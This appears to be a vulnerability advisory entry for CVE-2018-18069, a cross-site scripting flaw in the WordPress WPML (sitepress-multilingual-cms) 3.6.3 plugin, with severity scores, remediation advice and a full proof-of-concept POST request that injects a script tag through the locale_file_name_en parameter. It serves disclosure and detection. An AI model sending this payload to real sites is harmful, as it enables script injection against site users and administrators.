| Title | WordPress sitepress-multilingual-cms 3.6.3 - Cross-Site Scripting |
|---|---|
| Author | nadino |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions. |
| Remediation | Update WordPress sitepress-multilingual-cms to the latest version to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.14198 |
| CVE ID | CVE-2018-18069 |
| CWE ID | CWE-79 |
| Tags | cve2018 cve wordpress xss plugin wpml vuln |
WordPress plugin sitepress-multilingual-cms 3.6.3 is vulnerable to cross-site scripting in process_forms via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
POST /wp-admin/admin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_18) AppleWebKit/605.1.18 (KHTML, like Gecko) Version/18 Safari/605.1.18
Connection: close
Content-Length: 92
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
icl_post_action=save_theme_localization&locale_file_name_en=EN"><script>alert(0);</script>
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